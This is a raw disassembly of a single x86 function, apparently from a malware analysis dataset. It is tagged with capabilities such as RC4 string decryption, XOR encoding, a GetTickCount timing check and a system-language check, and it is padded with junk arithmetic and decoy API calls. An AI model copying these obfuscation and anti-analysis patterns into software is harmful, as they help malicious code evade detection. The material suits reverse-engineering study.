Function at 0x643c4448
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Encode data using xor
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 0xb
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0xec7]
mov esi, 0x643ea3ab
push ebx
sub esp, 0xefc
or dword [0x643e8140], 0x84d17b08
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xc72]
mov esi, str.Access_to_the_HTTP_proxy_is_denied.
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
call fcn.643d2564
mov eax, dword [0x643e825c]
lea edx, [eax - 0x92226d3]
add eax, 0x3618eb9e
mov dword [0x643e825c], eax
mov dword [0x643e8140], edx
call fcn.643d2564
xor eax, eax
mov byte [ebp + eax - 0xb18], al
inc eax
cmp eax, 0x100
jne 0x643c44a9
xor esi, esi
xor ebx, ebx
mov edx, str.The_specified_firmware_slot_is_invalid.
mov al, byte [edx]
test al, al
je 0x643c44dd
sub eax, 0x30
cmp al, 9
jbe 0x643c44da
sub dword [0x643e825c], 0x4defb5dd
jmp 0x643c44dd
inc edx
jmp 0x643c44c1
and dword [0x643e825c], 0xef270f95
mov edi, 0x23
call fcn.643d2564
mov eax, ebx
xor edx, edx
mov cl, byte [ebp + ebx - 0xb18]
div edi
mov al, byte [ebp + edx - 0xc72]
add eax, ecx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0xb18]
mov byte [ebp + ebx - 0xb18], al
inc ebx
mov byte [ebp + esi - 0xb18], cl
cmp ebx, 0x100
jne 0x643c44bc
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0xb18]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0xb18]
mov byte [ebp + edx - 0xb18], bl
mov byte [ebp + ecx - 0xb18], al
add al, byte [ebp + edx - 0xb18]
movzx eax, al
mov al, byte [ebp + eax - 0xb18]
xor al, byte [esi + ebp - 0xec7]
movzx eax, al
mov word [ebp + esi*2 - 0xdc8], ax
inc esi
cmp esi, 0xb
jne 0x643c4530
mov eax, dword [0x643e825c]
mov ecx, str.Device_Timeout
mov ebx, 0x1bf8
mov word [ebp - 0xdb2], 0
sub eax, 0x114a215
mov dword [0x643e8140], eax
movsx edx, byte [ecx]
inc ecx
test dl, dl
je 0x643c45bc
add ebx, edx
cmp ebx, 0x20c8
jbe 0x643c45a0
and eax, 0x55ca4b31
mov dword [0x643e8140], eax
mov eax, dword [0x643e8140]
or eax, 0xd61f496b
mov dword [0x643e825c], eax
xor eax, 0x740f2efb
cmp byte [str.The_specified_firmware_slot_is_invalid.], 0
mov dword [0x643e8140], eax
je 0x643c45e3
call fcn.643d0254
mov eax, dword [0x643e8140]
lea edi, [ebp - 0xedb]
mov esi, 0x643ea3da
or eax, 0xbd964e45
mov dword [0x643e825c], eax
mov dword [esp], str.The_specified_firmware_slot_is_invalid.
call fcn.643d3a44
mov ecx, 0xa
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xd79]
mov esi, 0x643ea3e4
call fcn.643d2564
imul eax, dword [0x643e8140], 0x9e979fde
sub dword [0x643e825c], 0x2d28c8a3
mov dword [0x643e8140], eax
call fcn.643d0254
mov ecx, 0x1f
xor eax, eax
rep movsb byte es:[edi], byte [esi]
cmp byte [eax + str.The_specified_enclave_has_not_yet_been_terminated.], 0
je 0x643c4662
inc eax
cmp eax, 0x9ab
jne 0x643c4647
or dword [0x643e8140], 0x1189769e
mov eax, dword [0x643e8140]
xor ebx, ebx
lea edx, [eax + 0x3750193d]
sub eax, 0x29776c42
mov dword [0x643e825c], edx
mov dword [0x643e8140], eax
mov eax, dword [0x643e8140]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push esi
mov eax, dword [0x643e825c]
and eax, 0x2d4dea61
xor eax, 0x5a58d47c
mov dword [0x643e8140], eax
mov dword [esp], str.Device_Timeout
call fcn.643d3a44
mov byte [ebp + ebx - 0xa18], bl
inc ebx
cmp ebx, 0x100
jne 0x643c467f
xor esi, esi
xor ecx, ecx
mov edi, 0x1e
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0xa18]
div edi
movzx eax, byte [ebp + edx - 0xd79]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0xa18]
mov byte [ebp + ecx - 0xa18], al
inc ecx
mov byte [ebp + esi - 0xa18], bl
cmp ecx, 0x100
jne 0x643c46c7
xor edi, edi
xor esi, esi
xor ebx, ebx
inc ebx
mov ecx, dword [0x643e8140]
movzx ebx, bl
mov al, byte [ebp + ebx - 0xa18]
xor ecx, 0x99f901c1
mov dword [0x643e825c], ecx
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0xa18]
mov byte [ebp + ebx - 0xa18], dl
xor edx, edx
cmp byte [edx + str.Device_Timeout], 0
je 0x643c4785
inc edx
cmp edx, 0x4e0
jne 0x643c473d
mov byte [ebp - 0xeec], al
mov dword [esp + 0xc], ecx
mov dword [esp + 8], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp], str.Device_Timeout
call fcn.643d0978
mov al, byte [ebp - 0xeec]
or dword [0x643e8140], 0x507fe5ff
mov byte [ebp + esi - 0xa18], al
add al, byte [ebp + ebx - 0xa18]
movzx eax, al
mov edx, dword [0x643e8140]
mov al, byte [ebp + eax - 0xa18]
xor al, byte [ebp + edi - 0xedb]
movzx eax, al
xor edx, 0xdd39bcf0
mov word [ebp + edi*2 - 0xe06], ax
inc edi
mov dword [0x643e8140], edx
cmp edi, 0xa
jne 0x643c470a
imul edx, edx, 0x67634736
lea edi, [ebp - 0xe8f]
mov esi, 0x643ea403
mov word [ebp - 0xdf2], 0
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xddd]
mov esi, 0x643ea413
mov ecx, 0x15
rep movsb byte es:[edi], byte [esi]
mov dword [0x643e825c], edx
mov ecx, 0xa26
mov edx, str.OnMachineUILanguageSwitch
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c4825
add ecx, eax
cmp ecx, 0xca4
jbe 0x643c480e
call fcn.643d4480
mov eax, dword [0x643e8140]
and eax, 0x189b448c
mov dword [0x643e8140], eax
or eax, 0x2c9bb185
cmp byte [str.The_specified_firmware_slot_is_invalid.], 0
mov dword [0x643e825c], eax
je 0x643c485b
call fcn.643d1310
mov eax, dword [0x643e8140]
xor eax, 0x3582b626
mov dword [0x643e825c], eax
mov eax, dword [0x643e825c]
sub eax, 0x388204b1
mov dword [0x643e8140], eax
xor eax, 0x752d91da
mov dword [0x643e825c], eax
mov dword [esp + 8], str.OnMachineUILanguageSwitch
mov dword [esp + 4], str.Device_Timeout
mov dword [esp], str.Some_data_remains_to_be_sent_in_the_request_buffer.
call fcn.643d0738
imul eax, dword [0x643e825c], 0x182f381
mov dword [0x643e8140], eax
call fcn.643d0254
mov eax, dword [0x643e825c]
mov ecx, str.The_specified_firmware_slot_is_invalid.
add eax, 0x7b7da24a
mov dword [0x643e8140], eax
mov dl, byte [ecx]
test dl, dl
je 0x643c48d5
sub edx, 0x30
cmp dl, 9
jbe 0x643c48d2
and eax, 0x9055a783
mov dword [0x643e8140], eax
jmp 0x643c48d5
inc ecx
jmp 0x643c48b8
mov eax, dword [0x643e8140]
mov edx, eax
and edx, 0xf97c2568
mov dword [0x643e825c], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp], str.The_specified_enclave_has_not_yet_been_terminated.
call fcn.643d0978
xor eax, eax
mov byte [ebp + eax - 0x918], al
inc eax
cmp eax, 0x100
jne 0x643c490a
xor esi, esi
xor ecx, ecx
mov edi, 0x14
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x918]
div edi
movzx eax, byte [ebp + edx - 0xddd]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x918]
mov byte [ebp + ecx - 0x918], al
inc ecx
mov byte [ebp + esi - 0x918], bl
cmp ecx, 0x100
jne 0x643c4922
mov ebx, dword [0x643e825c]
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
and ebx, 0xaf857b83
movzx edx, dl
lea edi, [ebx - 0x5396abed]
mov al, byte [ebp + edx - 0x918]
mov ebx, edi
and ebx, 0xda6a5a56
add ecx, eax
mov byte [ebp - 0xeec], al
movzx ecx, cl
mov al, byte [ebp + ecx - 0x918]
mov byte [ebp + edx - 0x918], al
mov al, byte [ebp - 0xeec]
mov byte [ebp + ecx - 0x918], al
add al, byte [ebp + edx - 0x918]
movzx eax, al
mov al, byte [ebp + eax - 0x918]
xor al, byte [esi + ebp - 0xe8f]
movzx eax, al
mov word [ebp + esi*2 - 0xd5a], ax
inc esi
cmp esi, 0x10
jne 0x643c496b
and edi, 0xfdc3f1df
mov esi, 0x643ea428
cmp byte [str.The_specified_enclave_has_not_yet_been_terminated.], 0
mov word [ebp - 0xd3a], 0
mov dword [0x643e8140], edi
mov ecx, 0x11
lea edi, [ebp - 0xe5f]
rep movsb byte es:[edi], byte [esi]
mov dword [0x643e825c], ebx
je 0x643c4a14
call fcn.643d2564
imul eax, dword [0x643e825c], 0x47de6f8e
lea edi, [ebp - 0xb8f]
mov esi, 0x643ea439
mov dword [0x643e8140], eax
call fcn.643d0254
mov eax, dword [0x643e8140]
xor eax, 0xcc9cdd23
mov dword [0x643e825c], eax
call fcn.643d0254
mov eax, dword [0x643e8140]
or eax, 0x6261d3cd
mov dword [0x643e825c], eax
call fcn.643d05d4
mov ecx, 0x3a
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x818], al
inc eax
cmp eax, 0x100
jne 0x643c4a64
xor esi, esi
xor ecx, ecx
mov edi, 0x39
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x818]
div edi
movzx eax, byte [ebp + edx - 0xb8f]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x818]
mov byte [ebp + ecx - 0x818], al
inc ecx
mov byte [ebp + esi - 0x818], bl
cmp ecx, 0x100
jne 0x643c4a7c
xor edi, edi
xor esi, esi
xor ebx, ebx
mov eax, dword [0x643e8140]
inc ebx
movzx ebx, bl
xor eax, 0xe3d69816
mov dword [0x643e8140], eax
mov dword [ebp - 0xeec], eax
call fcn.643cfc74
mov dl, byte [ebp + ebx - 0x818]
mov eax, dword [ebp - 0xeec]
lea ecx, [edx + esi]
sub eax, 0x173fb717
movzx esi, cl
and eax, 0xc27fa9c6
mov cl, byte [ebp + esi - 0x818]
mov byte [ebp + ebx - 0x818], cl
mov byte [ebp + esi - 0x818], dl
add dl, byte [ebp + ebx - 0x818]
movzx edx, dl
mov cl, byte [ebp + edx - 0x818]
xor cl, byte [ebp + edi - 0xe5f]
lea edx, [eax - 0x283f6f48]
movzx ecx, cl
mov dword [0x643e825c], edx
mov word [ebp + edi*2 - 0xcda], cx
inc edi
cmp edi, 0x11
jne 0x643c4abf
sub eax, 0x1bcee444
lea edi, [ebp - 0xeaf]
mov esi, 0x643ea473
mov word [ebp - 0xcb8], 0
mov dword [0x643e825c], eax
mov ecx, 0xf
rep movsb byte es:[edi], byte [esi]
mov ecx, str.The_specified_firmware_slot_is_invalid.
mov al, byte [ecx]
test al, al
je 0x643c4b90
sub eax, 0x30
cmp al, 9
jbe 0x643c4b8d
xor edx, 0x1e62bf4c
mov dword [0x643e825c], edx
jmp 0x643c4b90
inc ecx
jmp 0x643c4b72
mov eax, dword [0x643e825c]
lea edi, [ebp - 0xe19]
mov esi, str.SdbReleaseDatabase
mov ecx, 0x13
rep movsb byte es:[edi], byte [esi]
mov ecx, str.The_specified_firmware_slot_is_invalid.
mov edx, eax
or eax, 0xdf7ffdbb
mov dword [0x643e825c], eax
or edx, 0xda1bfdb9
mov al, byte [ecx]
test al, al
je 0x643c4bdb
sub eax, 0x30
cmp al, 9
jbe 0x643c4bd8
lea eax, [edx + 0xcf072d0]
mov dword [0x643e825c], eax
jmp 0x643c4bdb
inc ecx
jmp 0x643c4bbe
add edx, 0x4c8962e5
mov dword [0x643e8140], edx
call fcn.643d4480
mov edx, str.The_specified_enclave_has_not_yet_been_terminated.
mov al, byte [edx]
test al, al
je 0x643c4c0d
sub eax, 0x30
cmp al, 9
jbe 0x643c4c0a
add dword [0x643e8140], 0x6c5af1df
jmp 0x643c4c0d
inc edx
jmp 0x643c4bf1
mov eax, dword [0x643e8140]
add eax, 0x48d9b0c5
mov dword [0x643e825c], eax
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp], str.Some_data_remains_to_be_sent_in_the_request_buffer.
call fcn.643cf620
mov edx, str.The_specified_enclave_has_not_yet_been_terminated.
mov ecx, 0x793
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c4c4c
add ecx, eax
cmp ecx, 0x21e0
jbe 0x643c4c3a
imul eax, dword [0x643e825c], 0xdd08d69
mov dword [0x643e825c], eax
add eax, 0x4bc79c42
mov dword [0x643e8140], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetLastActivePopup]
push ecx
imul eax, dword [0x643e825c], 0xc809f99c
mov edx, eax
xor eax, 0x2b994094
xor edx, 0x34451c11
mov dword [0x643e825c], eax
mov dword [0x643e8140], edx
call fcn.643d1310
mov edx, dword [0x643e8140]
xor eax, eax
mov byte [eax + ebp - 0x718], al
inc eax
xor edx, 0xcfc0711e
cmp eax, 0x100
jne 0x643c4c9e
mov dword [0x643e8140], edx
xor esi, esi
xor ebx, ebx
mov ecx, 0x12
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x718]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0xe19]
mov dword [esp], str.TPM_1.2:_Authentication_failed.
add eax, esi
movzx esi, al
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0x763576c4
push edx
mov edx, str.The_specified_firmware_slot_is_invalid.
mov dword [0x643e825c], eax
mov al, byte [edx]
test al, al
je 0x643c4d1c
sub eax, 0x30
cmp al, 9
jbe 0x643c4d19
mov eax, dword [0x643e8140]
sub eax, 0x1a090377
mov dword [0x643e825c], eax
jmp 0x643c4d1c
inc edx
jmp 0x643c4cfb
or dword [0x643e8140], 0xf8fa77a8
call fcn.643d2564
mov al, byte [ebp + esi - 0x718]
mov byte [ebp + ebx - 0x718], al
xor eax, eax
cmp byte [eax + str.The_specified_enclave_has_not_yet_been_terminated.], 0
je 0x643c4d5b
inc eax
cmp eax, 0x97e
jne 0x643c4d3b
imul eax, dword [0x643e8140], 0xba99e888
mov dword [0x643e825c], eax
mov eax, dword [0x643e825c]
inc ebx
mov edx, eax
or eax, 0xfa78a2c9
or edx, 0x5244a5cc
mov dword [0x643e825c], eax
mov dword [0x643e8140], edx
call fcn.643d2564
mov eax, edi
mov byte [ebp + esi - 0x718], al
cmp ebx, 0x100
jne 0x643c4cbd
mov eax, dword [0x643e8140]
mov ebx, 0xe41
or eax, 0xd8853885
mov dword [0x643e825c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub dword [0x643e825c], 0xc341311
call fcn.643d2564
mov eax, dword [0x643e825c]
mov ecx, str.Some_data_remains_to_be_sent_in_the_request_buffer.
lea edx, [eax - 0x377e3f67]
mov dword [0x643e8140], edx
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x643c4e11
add ebx, edx
cmp ebx, 0x1446
jbe 0x643c4dd2
call fcn.643d0254
mov eax, dword [0x643e8140]
xor eax, 0xf50c9d86
mov dword [0x643e825c], eax
call fcn.643d0254
mov eax, dword [0x643e8140]
xor eax, 0xadb85d85
mov dword [0x643e825c], eax
jmp 0x643c4e1b
or eax, 0x217279b0
mov dword [0x643e8140], eax
imul eax, dword [0x643e8140], 0xa864db0b
xor edx, edx
xor edi, edi
xor esi, esi
mov dword [0x643e8140], eax
mov dword [ebp - 0xeec], edx
xor dword [0x643e825c], 0x5f5b8c91
mov dword [esp], 0x158d
call dword [sym.imp.KERNEL32.dll_SetLastError]
push eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [0x643e8140]
or eax, 0xaa1afbe3
mov dword [0x643e825c], eax
call fcn.643ce1b4
mov eax, dword [0x643e825c]
mov bl, byte [ebp + esi - 0x718]
and eax, 0xaad8f017
mov dword [0x643e8140], eax
or eax, 0x628734c
mov dword [0x643e825c], eax
lea eax, [ebx + edi]
movzx edi, al
call fcn.643ce1b4
mov eax, dword [0x643e8140]
mov edx, dword [ebp - 0xeec]
add eax, 0x430a7d65
mov ecx, eax
or eax, 0xfec8d2df
sub eax, 0x60cd2e43
or ecx, 0xf680c0cb
mov dword [0x643e8140], eax
mov al, byte [ebp + edi - 0x718]
mov dword [0x643e825c], ecx
mov byte [ebp + esi - 0x718], al
mov byte [ebp + edi - 0x718], bl
add bl, byte [ebp + esi - 0x718]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x718]
xor al, byte [ebp + edx - 0xeaf]
movzx eax, al
mov word [ebp + edx*2 - 0xd98], ax
inc edx
cmp edx, 0xf
jne 0x643c4e30
lea edi, [ebp - 0xebc]
mov esi, 0x643ea495
mov ecx, 0xd
mov word [ebp - 0xd7a], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xcfa]
mov esi, 0x643ea4a2
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, str.The_specified_enclave_has_not_yet_been_terminated.
xor eax, 0x14cc430e
mov dword [0x643e825c], eax
mov dl, byte [ecx]
test dl, dl
je 0x643c4f61
sub edx, 0x30
cmp dl, 9
jbe 0x643c4f5e
and eax, 0x7bbd0c1c
mov dword [0x643e825c], eax
jmp 0x643c4f61
inc ecx
jmp 0x643c4f44
and dword [0x643e825c], 0xbe9801dd
call fcn.643d1310
mov eax, dword [0x643e8140]
lea edi, [eax - 0x48219044]
xor eax, eax
mov byte [ebp + eax - 0x618], al
inc eax
cmp eax, 0x100
jne 0x643c4f7d
xor esi, esi
xor ecx, ecx
mov al, byte [ebp + ecx - 0x618]
mov ebx, 0x1f
xor edx, edx
mov byte [ebp - 0xeec], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0xcfa]
movzx edx, byte [ebp - 0xeec]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x618]
mov byte [ebp + ecx - 0x618], al
mov al, byte [ebp - 0xeec]
inc ecx
mov byte [ebp + esi - 0x618], al
cmp ecx, 0x100
jne 0x643c4f90
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x618]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x618]
mov byte [ebp + edx - 0x618], bl
mov ebx, edi
and edi, 0xe07a1c16
mov byte [ebp + ecx - 0x618], al
add al, byte [ebp + edx - 0x618]
movzx eax, al
mov al, byte [ebp + eax - 0x618]
xor al, byte [esi + ebp - 0xebc]
movzx eax, al
mov word [ebp + esi*2 - 0xdb2], ax
inc esi
cmp esi, 0xd
jne 0x643c4fe8
lea edi, [ebp - 0xed1]
mov esi, 0x643ea4c2
mov ecx, 0xa
mov word [ebp - 0xd98], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xbc8]
mov esi, str.Specified_monitor_frequency_range_constraint_is_invalid.
mov ecx, 0x39
rep movsb byte es:[edi], byte [esi]
call fcn.643cfc74
mov eax, ebx
and ebx, 0xc0200402
and eax, 0x201a0c10
or ebx, 0xc4004003
mov dword [0x643e8140], eax
mov dword [0x643e825c], ebx
mov dword [esp + 8], str.OnMachineUILanguageSwitch
mov dword [esp + 4], str.The_specified_firmware_slot_is_invalid.
mov dword [esp], str.Some_data_remains_to_be_sent_in_the_request_buffer.
call fcn.643d0738
xor eax, eax
mov byte [ebp + eax - 0x518], al
inc eax
cmp eax, 0x100
jne 0x643c50ac
xor esi, esi
xor ebx, ebx
mov ecx, 0x38
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x518]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0xbc8]
mov edx, str.The_specified_firmware_slot_is_invalid.
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x518]
mov byte [ebp + ebx - 0x518], al
mov al, byte [edx]
sub eax, 0x30
cmp al, 9
ja 0x643c50ff
inc edx
jmp 0x643c50f3
mov eax, dword [0x643e825c]
inc ebx
xor eax, 0x8686e07b
mov dword [0x643e8140], eax
call fcn.643d05d4
mov eax, edi
mov byte [ebp + esi - 0x518], al
cmp ebx, 0x100
jne 0x643c50bf
xor edx, edx
xor edi, edi
xor esi, esi
xor eax, eax
cmp byte [eax + str.The_specified_firmware_slot_is_invalid.], 0
je 0x643c5156
inc eax
cmp eax, 0x1e68
jne 0x643c512d
mov dword [ebp - 0xeec], edx
mov dword [esp], str.Device_Timeout
call fcn.643d3a44
mov edx, dword [ebp - 0xeec]
imul eax, dword [0x643e825c], 0x9c73501f
mov dword [ebp - 0xeec], edx
mov dword [0x643e8140], eax
call fcn.643d1310
mov ecx, dword [0x643e825c]
lea eax, [ecx + 0x3c4266db]
add ecx, 0x593d0cd6
mov dword [0x643e825c], eax
lea eax, [esi + 1]
movzx esi, al
mov dword [0x643e8140], ecx
mov bl, byte [ebp + esi - 0x518]
lea eax, [ebx + edi]
movzx edi, al
mov al, byte [ebp + edi - 0x518]
mov byte [ebp + esi - 0x518], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, dword [ebp - 0xeec]
mov byte [ebp + edi - 0x518], bl
add bl, byte [ebp + esi - 0x518]
xor dword [0x643e8140], 0xa53e3141
movzx ebx, bl
mov al, byte [ebp + ebx - 0x518]
xor al, byte [ebp + edx - 0xed1]
movzx eax, al
mov word [ebp + edx*2 - 0xdf2], ax
inc edx
cmp edx, 0xa
jne 0x643c512b
lea edi, [ebp - 0xe4e]
mov esi, 0x643ea505
mov ecx, 0x11
mov word [ebp - 0xdde], 0
rep movsb byte es:[edi], byte [esi]
mov dword [esp], str.Device_Timeout
lea edi, [ebp - 0xc4e]
mov esi, 0x643ea516
call fcn.643d3a44
imul eax, dword [0x643e825c], 0xb37ab4fe
or eax, 0xda045fcb
xor eax, 0x4ddd5fe5
mov dword [0x643e825c], eax
call fcn.643d1310
mov ecx, 0x26
xor eax, eax
or dword [0x643e825c], 0xb66e6bbe
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x418], al
inc eax
cmp eax, 0x100
jne 0x643c525b
xor esi, esi
xor ecx, ecx
mov edi, 0x25
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x418]
div edi
movzx eax, byte [ebp + edx - 0xc4e]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x418]
mov byte [ebp + ecx - 0x418], al
inc ecx
mov byte [ebp + esi - 0x418], bl
cmp ecx, 0x100
jne 0x643c5273
xor edx, edx
xor edi, edi
xor esi, esi
lea eax, [esi + 1]
mov dword [ebp - 0xeec], edx
movzx esi, al
mov bl, byte [ebp + esi - 0x418]
lea eax, [ebx + edi]
movzx edi, al
mov eax, dword [0x643e825c]
lea ecx, [eax - 0x30091f3a]
mov al, byte [ebp + edi - 0x418]
and ecx, 0xe14516fc
mov dword [0x643e825c], ecx
or ecx, 0x9a30210d
mov byte [ebp + esi - 0x418], al
mov dword [0x643e8140], ecx
mov byte [ebp + edi - 0x418], bl
call fcn.643d0254
mov eax, dword [0x643e825c]
mov edx, dword [ebp - 0xeec]
and eax, 0x31c03524
mov dword [0x643e825c], eax
sub eax, 0x392a6700
cmp byte [str.The_specified_firmware_slot_is_invalid.], 0
mov dword [0x643e8140], eax
je 0x643c533e
xor eax, 0x55f03070
mov dword [0x643e825c], eax
mov dword [ebp - 0xeec], edx
call fcn.643d0254
mov eax, dword [0x643e8140]
sub eax, 0x7b475845
and eax, 0x824fc647
mov dword [0x643e825c], eax
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp], str.Some_data_remains_to_be_sent_in_the_request_buffer.
call fcn.643cf620
mov edx, dword [ebp - 0xeec]
add bl, byte [ebp + esi - 0x418]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x418]
xor al, byte [ebp + edx - 0xe4e]
movzx eax, al
mov word [ebp + edx*2 - 0xcb8], ax
inc edx
cmp edx, 0x11
jne 0x643c52b6
mov word [ebp - 0xc96], 0
lea edi, [ebp - 0xe7f]
mov esi, str.wL2uj_
xor eax, eax
or dword [0x643e825c], 0xef4f729e
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xe3d]
mov esi, 0x643ea54c
mov ecx, 0x12
rep movsb byte es:[edi], byte [esi]
mov byte [eax + ebp - 0x318], al
inc eax
cmp eax, 0x100
jne 0x643c53dd
xor esi, esi
xor ebx, ebx
mov ecx, 0x11
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x318]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0xe3d]
add eax, esi
movzx esi, al
xor eax, eax
cmp byte [eax + str.The_specified_enclave_has_not_yet_been_terminated.], 0
je 0x643c543c
inc eax
cmp eax, 0x1cd5
jne 0x643c5413
or dword [0x643e825c], 0x65783fe4
mov dword [esp], 0xfa5
call dword [sym.imp.USER32.dll_IsZoomed]
push eax
imul eax, dword [0x643e8140], 0x33d31814
mov dword [0x643e8140], eax
and eax, 0xf55b7110
mov dword [0x643e825c], eax
mov al, byte [ebp + esi - 0x318]
mov byte [ebp + ebx - 0x318], al
mov eax, edi
inc ebx
mov byte [ebp + esi - 0x318], al
cmp ebx, 0x100
jne 0x643c53f0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
xor edi, edi
xor esi, esi
xor ebx, ebx
movzx eax, ax
or eax, 0x61654b32
xor eax, 0x2f34062b
mov dword [0x643e825c], eax
inc ebx
mov edx, str.Device_Timeout
mov ecx, 0xba0
movzx ebx, bl
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c54de
add ecx, eax
cmp ecx, 0x13a7
jbe 0x643c54a5
call fcn.643d0254
mov eax, dword [0x643e8140]
and eax, 0x4459280f
imul eax, eax, 0x9315c310
mov dword [0x643e825c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
sub eax, 0x6bff76e5
jmp 0x643c54f8
mov eax, dword [0x643e8140]
xor eax, 0x3dc4ce47
mov dword [0x643e825c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
or eax, 0x571e018a
mov dword [0x643e8140], eax
sub eax, 0x42c0c7d5
mov dword [0x643e825c], eax
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp], str.Some_data_remains_to_be_sent_in_the_request_buffer.
call fcn.643cf620
mov al, byte [ebp + ebx - 0x318]
mov ecx, dword [0x643e825c]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x318]
mov byte [ebp + ebx - 0x318], dl
lea edx, [ecx + 0x7d669446]
mov byte [ebp + esi - 0x318], al
add al, byte [ebp + ebx - 0x318]
movzx eax, al
mov dword [0x643e8140], edx
mov al, byte [ebp + eax - 0x318]
xor al, byte [ebp + edi - 0xe7f]
movzx eax, al
mov word [ebp + edi*2 - 0xd3a], ax
inc edi
cmp edi, 0x10
jne 0x643c5497
xor edx, 0x80d5a791
lea edi, [ebp - 0xe6f]
mov esi, 0x643ea55e
mov word [ebp - 0xd1a], 0
mov dword [0x643e825c], edx
mov ecx, 4
mov edx, str.The_specified_firmware_slot_is_invalid.
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xbfc]
mov esi, str.NtQueryDirectoryFile_failed_to_query_next_file___x_
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xbb4
movzx eax, byte [edx]
inc edx
test al, al
je 0x643c55fa
add ecx, eax
cmp ecx, 0x1e79
jbe 0x643c55bf
mov dword [esp + 4], str.Some_data_remains_to_be_sent_in_the_request_buffer.
mov dword [esp], str.Some_data_remains_to_be_sent_in_the_request_buffer.
call fcn.643cf620
mov eax, dword [0x643e8140]
add eax, 0x6321992d
mov dword [0x643e825c], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor eax, eax
mov byte [eax + ebp - 0x218], al
inc eax
cmp eax, 0x100
jne 0x643c55fc
xor edi, edi
xor ebx, ebx
mov ecx, 0x33
mov eax, ebx
xor edx, edx
movzx esi, byte [ebp + ebx - 0x218]
div ecx
mov eax, esi
add al, byte [ebp + edx - 0xbfc]
xor edx, edx
add eax, edi
movzx edi, al
mov eax, dword [0x643e8140]
or eax, 0xc583d58e
mov dword [0x643e8140], eax
cmp byte [edx + str.The_specified_firmware_slot_is_invalid.], 0
je 0x643c5663
inc edx
cmp edx, 0x17f8
jne 0x643c5641
sub eax, 0x200bca5f
mov dword [0x643e825c], eax
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
imul eax, dword [0x643e8140], 0xe5aa25a8
mov dword [0x643e825c], eax
call fcn.643d1310
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + ebx - 0x218], al
xor eax, eax
cmp byte [eax + str.Device_Timeout], 0
je 0x643c56a7
inc eax
cmp eax, 0x2361
jne 0x643c5687
mov eax, dword [0x643e825c]
add eax, 0x657ca5f
mov dword [0x643e8140], eax
mov eax, dword [0x643e8140]
